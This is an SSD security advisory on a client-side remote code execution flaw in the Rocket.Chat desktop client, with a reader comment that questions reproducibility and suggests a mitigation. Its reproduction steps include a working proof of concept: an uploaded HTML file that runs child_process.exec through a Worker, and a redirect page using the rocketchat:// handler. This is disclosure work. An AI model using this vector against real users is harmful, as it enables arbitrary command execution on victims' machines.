SSD Advisory – Rocket.Chat Client-side Remote Code Execution

TL;DR

Find out how a vulnerability in Rocket.Chat client allows remote attackers to cause a victim clicking on a seemingly harmless link to execute arbitrary commands.

Vulnerability Summary

A vulnerability in Rocket.Chat allows remote attackers targeting clients using the chat program to execute arbitrary commands on the client-side by only requiring the victim to click on a seemingly harmless link (the link itself does not contain the attack vector).

Credit

An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • As far as we are aware, all versions of Rocket.Chat client are vulnerable

Vendor Response

The vulnerability has been reported to Rocket.Chat in Sep 2021, at the beginning the vendor was very responsive and worked on a patch, in Oct 2021, a new version of Rocket.Chat has been released that fixed the initial vector – but didn’t fix the overall problem – minimal modifications to the vector allows bypassing of the mitigation, no subsequent communication sent – with a warning that the fix was incomplete – out to the vendor received any response.

As far as we know Rocket.Chat client is still vulnerable to attack through the aforementioned vulnerability.

Rocket.Chat had issued a statement and a fix: https://github.com/RocketChat/Rocket.Chat.Electron/pull/2273/commits

Vulnerability Analysis

Rocket.chat desktop allows same host navigation https://github.com/RocketChat/Rocket.Chat/blob/3bb6bf99e098b7dd4baf6b87597c1a35bd37b8d1/client/components/Message/Body/Link.tsx#L15 which means any links to the same host will be opened in rocket.chat desktop itself.

Having this in mind, we can look for any open redirects in the rocket.chat

Fortunately rocket.chat allows file uploads, it uses different kinds of file storages like S3, Gcloud, and Webdav.

When a file is uploaded it gets stored in said storage let suppose its S3 in our case and rocket.chat server returns a link of same host which redirects to s3 file location.

Lets suppose my rocket.chat site is hi.rocket.chat, when a file is uploaded it returns a link http://hi.rocket.chat/file-upload/hash/file.html which gets redirected to S3.

Using this we can redirect to an html file which gives RCE because rocket.chat enables nodeIntegration in workers.

Having said that, rocket.chat won’t allow navigation to arbitrary site by using will-navigate event , but it allows redirects to properly fix this bug will-redirect event should be used and nodeIntegration in workers should be disabled.

Steps to Reproduce for RCE in MacOS

  1. Upload a file with the following content:
<script>
new Worker('data:,require(`child_process`).exec(`open /System/Applications/Calculator.app`)');
</script>
  1. Copy the link to this uploaded file which has path similar to http://host.rocket.chat/file-upload/8ByCbH839kBDsYmEu/lin.html
  2. Replace file upload path in below html and also the host, for me its http://localhost
<html>
pwned

<script>
location.href='rocketchat://room?host=http://localhost&rid=pwn&path=file-upload/8ByCbH839kBDsYmEu/lin.html'
</script>
</html>

4. Open above HTML in browser. NOTE: The HTML doesn’t have to be stored locally, you can place it in a web site and a visitor to the web site will have its Rocket.Chat client pop up and open the Calculator.app

Demo

Comments
  • Karolin Varner says:

    Has this vulnerability been reproduced by any second security researcher? Because I am failing every step of the way (server version 4.0.2, Desktop version 3.7.1).

    Is file upload of html files a necessary prerequisite of the vulnerability? If so other server admins may navigate to `/admin/` -> “File Upload” and add edit their “Accepted Media Types” field to read as below as a quick mitigation:

    image/*,audio/*,video/*,application/zip,application/x-rar-compressed,application/pdf,text/plain,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document

    Would the independent security researcher mind creating a full (start to finish) demo of the exploit including html upload and upload of the exploit files?
    Would you mind linking to the commit including the preliminary fix?
    Which file storage types does this vulnerability apply to? Only S3? What about GridFS or local filesystem?
    Would you mind elaborating on whether the “minimal modifications to the vector” are already included in the above exploit description?

    Best,
    Karolin Varner (https://cupdev.net/contact/)

Comments are closed.